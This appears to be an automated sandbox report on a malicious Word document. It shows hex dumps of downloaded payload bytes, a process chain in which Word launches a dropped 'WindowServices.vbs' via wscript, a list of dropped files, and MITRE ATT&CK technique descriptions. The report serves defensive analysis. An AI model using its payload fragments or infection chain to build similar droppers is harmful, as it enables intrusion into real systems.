2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 38 30 39 30 39 30 39 30 39 30 36 30 31 30 31 30 63 30 39 30 63 30 63 30 37 30 37 30 37 30 37 30 37 30 63 30 63 30 63 30 63 30 63 30 37 30 63 30 37 30 63 30 37 30 63 30 37 30 63 30 37 30 63 30 37 30 39 30 63 30 61 30 61 30 61 30 61 30 61 30 62 30 62 30 61 30 61 30 61 30 61 30 61 30 61 30 61 30 62 30 62 30 61 30 61 30 62 30 62 30 39 30 63 30 63 30 63 30 39 30 63 30 63 30 31 30 39 30 63 30 63 30 62 30 62 30 62 30 62 30 31 30 63 30 63 30 63 30 31 30 63 30 63 30 32 30 33 30 31 30 30 30 61 30 61 30 61 30 61 30 63 30 62 30 63 30 61 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 31 30 63 30 38 30 38 30 38 30 38 30 38 30 63 30 63 30 39 30 39 30 39 30 63 30 39 63 63 63 63 63 63 63 63 63 63 63 63 36 35 34 38 38 62 30 34 32 35 Data Ascii: 8090909090601010c090c0c07070707070c0c0c0c0c070c070c070c070c070c07090c0a0a0a0a0a0b0b0a0a0a0a0a0a0a0b0b0a0a0b0b090c0c0c090c0c01090c0c0b0b0b0b010c0c0c010c0c020301000a0a0a0a0c0b0c0a0c0c0c0c0c0c0c0c0c0c0c0c0c0c010c08080808080c0c0909090c09cccccccccccc65488b0425
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 38 33 63 34 32 30 35 66 63 33 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 38 30 37 39 30 61 30 30 34 63 38 62 63 32 37 34 31 38 34 38 38 62 30 32 34 38 38 64 39 31 35 30 30 31 30 30 30 30 34 39 38 62 63 38 34 38 38 62 34 30 31 38 34 38 66 66 32 35 66 37 63 37 36 31 30 30 63 33 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 34 38 38 39 34 63 32 34 30 38 35 33 34 38 38 33 65 63 33 30 34 38 38 62 64 39 38 30 37 39 30 61 30 30 37 34 32 30 34 63 38 62 30 31 34 38 63 37 34 34 32 34 32 30 30 30 30 30 30 30 30 30 34 63 38 62 38 39 36 38 30 31 30 30 30 30 34 35 38 62 30 30 30 66 62 37 35 31 30 38 65 38 35 65 64 32 33 30 30 30 39 30 34 38 38 64 38 33 35 30 30 31 30 30 30 30 34 38 38 39 34 34 32 34 34 38 66 36 34 30 30 Data Ascii: 83c4205fc3cccccccccccccccccc80790a004c8bc27418488b02488d9150010000498bc8488b401848ff25f7c76100c3cccccccccccccccccccccccccccc48894c2408534883ec30488bd980790a0074204c8b0148c7442420000000004c8b8968010000458b000fb75108e85ed2300090488d83500100004889442448f6400
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 38 31 30 34 38 36 33 63 31 34 38 38 64 30 63 63 35 30 30 30 30 30 30 30 30 34 64 38 39 33 34 30 62 34 39 38 62 37 30 32 30 34 38 30 33 66 31 37 34 63 34 66 66 34 66 32 30 65 39 33 61 30 31 30 30 30 30 34 31 38 62 63 65 38 62 35 37 31 30 38 64 30 34 31 32 62 65 66 63 33 66 30 30 30 30 33 62 63 36 30 66 34 32 66 30 34 34 33 62 65 39 30 66 38 36 30 62 30 31 30 30 30 30 34 31 38 62 65 64 34 31 33 62 64 35 30 66 34 37 65 61 34 35 38 35 66 66 37 34 31 30 34 39 38 62 63 63 65 38 31 65 63 65 30 33 30 30 34 35 38 62 66 65 34 34 38 39 37 34 32 34 33 38 63 37 34 34 32 34 32 38 30 36 30 30 30 30 30 30 34 34 38 39 37 34 32 34 32 30 34 35 33 33 63 39 34 31 62 38 31 64 30 30 30 30 30 30 34 38 38 62 31 35 63 39 33 61 37 61 30 30 34 38 38 64 34 63 32 34 37 30 65 38 62 66 Data Ascii: 8104863c1488d0cc5000000004d89340b498b70204803f174c4ff4f20e93a010000418bce8b57108d0412befc3f00003bc60f42f0443be90f860b010000418bed413bd50f47ea4585ff7410498bcce81ece0300458bfe4489742438c74424280600000044897424204533c941b81d000000488b15c93a7a00488d4c2470e8bf
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 39 30 34 38 38 64 38 62 33 30 30 33 30 30 30 30 65 38 35 38 63 65 30 30 30 30 39 30 34 38 38 64 38 62 64 38 30 33 30 30 30 30 65 38 34 62 63 65 30 30 30 30 39 30 34 38 38 64 38 33 38 38 30 34 30 30 30 30 34 38 38 39 34 34 32 34 33 38 34 38 38 39 33 38 34 38 38 39 37 38 30 38 34 38 38 39 37 38 31 30 34 38 38 39 37 38 31 38 34 38 38 39 37 38 32 30 34 38 38 39 37 38 32 38 34 38 38 39 62 62 36 38 30 32 30 30 30 30 34 38 38 39 62 62 37 38 30 32 30 30 30 30 34 38 38 62 30 64 34 32 33 33 37 61 30 30 34 38 38 62 30 31 34 38 38 62 34 30 31 30 66 66 31 35 36 64 63 32 36 31 30 30 34 38 38 39 38 33 37 30 30 32 30 30 30 30 34 38 38 39 62 62 38 30 30 32 30 30 30 30 30 66 35 37 63 30 30 66 31 31 34 33 30 38 30 66 31 31 34 33 31 38 30 66 31 31 34 33 32 38 30 66 31 31 34 Data Ascii: 90488d8b30030000e858ce000090488d8bd8030000e84bce000090488d8388040000488944243848893848897808488978104889781848897820488978284889bb680200004889bb78020000488b0d42337a00488b01488b4010ff156dc26100488983700200004889bb800200000f57c00f1143080f1143180f1143280f114
2025-01-14 14:43:39 UTC	1369	IN	Data Raw: 30 30 30 30 66 35 37 63 30 30 66 31 31 30 33 30 66 31 31 34 33 31 30 30 66 31 31 34 33 32 30 30 66 31 31 34 33 33 30 38 31 34 62 32 38 30 30 30 30 30 30 34 30 34 38 38 62 63 62 66 66 31 35 62 64 62 36 36 31 30 30 38 62 34 33 32 38 32 35 30 31 30 30 30 30 63 30 30 64 30 31 30 30 30 30 38 30 38 39 34 33 32 38 63 37 34 33 33 30 30 31 30 30 30 30 30 30 63 37 34 33 33 34 30 31 30 30 30 30 30 30 38 31 38 66 30 30 30 31 30 30 30 30 30 30 30 30 30 30 34 30 34 38 38 64 38 66 64 38 30 30 30 30 30 30 66 66 31 35 38 38 62 36 36 31 30 30 38 62 38 37 30 30 30 31 30 30 30 30 32 35 30 30 30 30 30 30 63 30 30 66 62 61 65 38 31 66 38 39 38 37 30 30 30 31 30 30 30 30 38 31 38 66 33 30 30 31 30 30 30 30 30 30 30 30 30 30 34 30 34 38 38 64 38 66 30 38 30 31 30 30 30 30 66 66 Data Ascii: 0000f57c00f11030f1143100f1143200f114330814b2800000040488bcbff15bdb661008b432825010000c00d01000080894328c7433001000000c7433401000000818f0001000000000040488d8fd8000000ff1588b661008b870001000025000000c00fbae81f898700010000818f3001000000000040488d8f08010000ff

Target ID:	0
Start time:	09:43:28
Start date:	14/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x300000
File size:	1'620'872 bytes
MD5 hash:	1A0C2C2E7D9C4BC18E91604E9B0C7678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:43:37
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\wscript.exe "C:\Users\user\Documents\WindowServices.vbs"
Imagebase:	0xbd0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make a payload or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the device or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Portions of files can also be encoded to hide the plaintext strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.
Tactics:	Defense Evasion
Data Sources:
Platforms:	Android, iOS
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1KaTo6P18Z.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\up[1].txt

C:\Users\user\AppData\Local\Temp\~DF02DC66534C89523B.TMP

C:\Users\user\AppData\Local\Temp\~DF43EB5779C0F541C4.TMP

C:\Users\user\AppData\Local\Temp\~DF874A9262025C7C4C.TMP

C:\Users\user\Desktop\1KaTo6P18Z.doc (copy)

C:\Users\user\Desktop\~$aTo6P18Z.doc

C:\Users\user\Desktop\~WRD0000.tmp

C:\Users\user\Desktop\~WRD0000.tmp:Zone.Identifier

C:\Users\user\Documents\WindowServices.vbs

Static File Info

General

File Icon

Static OLE Info

General

OLE File "1KaTo6P18Z.doc"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 689

General

VBA Code

Windows Analysis Report
1KaTo6P18Z.doc